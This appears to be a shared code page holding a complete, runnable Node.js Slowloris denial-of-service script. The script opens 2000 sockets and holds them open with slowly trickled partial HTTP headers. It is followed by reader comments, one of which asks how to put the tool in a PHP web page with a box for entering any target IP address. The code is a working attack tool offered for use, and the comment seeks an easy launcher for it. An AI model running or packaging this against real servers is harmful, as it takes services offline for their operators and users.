Slow Loris attack using Node

index.js

const net = require('net')

const opts = {
	host: 'localhost',
	port: 1234,
	sockets: 2000,
	respawn: false,
	rate: 600,
	method: 'GET',
	path: '/'
}

let activeSockets = 0

console.log('Starting sockets...')

const addSocket = () => {
	
	let socket = new net.Socket()

	socket.connect(opts.port, opts.host)

	socket.on('connect', () => {
		socket.write(`${opts.method} ${opts.path} HTTP/1.1\n`, 'ascii', () => {
			console.log('Socket activated. (Total active: ' + activeSockets + ')')
			activeSockets++

			socket.write(`Host: ${opts.host}\n`)
			let sentPacketCount = 0

			const intv = setInterval(() => {
				if(!socket) clearInterval(intv)
				else {
					socket.write(`x-header-${sentPacketCount}: ${sentPacketCount}\n`)
					sentPacketCount++
				}
			}, opts.rate)
		})

		socket.on('error', err => {
			console.log('Socket error - ' + err.message)
			socket.destroy()
		})

		socket.on('data', (data) => {
			console.log('Socket data - ' + data.toString())
		})

		socket.on('close', () => {
			activeSockets--
			socket = false
			
			if (opts.respawn) {
				console.log('Respawning dead socket...')
				addSocket()
			}
		})
	})

	socket.on('error', err => {
		console.log(`Server down.`)
	})
}

for (let i=0;i<opts.sockets; i++) {
	addSocket()
}

Hey I read your post, it was really good. My only question is why did you avoid the var/let/const keyword with the serverDown variable?

Unless a variable is defined in a local scope, creating a variable by assigning a value WITHOUT var/let/const means that the variable will be available in the global context. Specifically, any assignment will look up the call stack and if it does not find a declaration in any localised scope, it will create and assign it in the global scope.

Either that or a typo :-/. I generally get a lot of those happen after doing some work in python.

Yeah. I was testing something, that variable is not required.

Hey, so how exactly would I implement this into a php webpage? I have tried with scripts but i can't find on with a GUI. Could someone point me in the right direction?

What do you mean by implementing this in a PHP page?

@mehulmpt I wanna know if this is possible to run on a web server with a php file, so like, get the javascript code into a normal script area and then run it, but be able to choose what the ip address is with a little text input box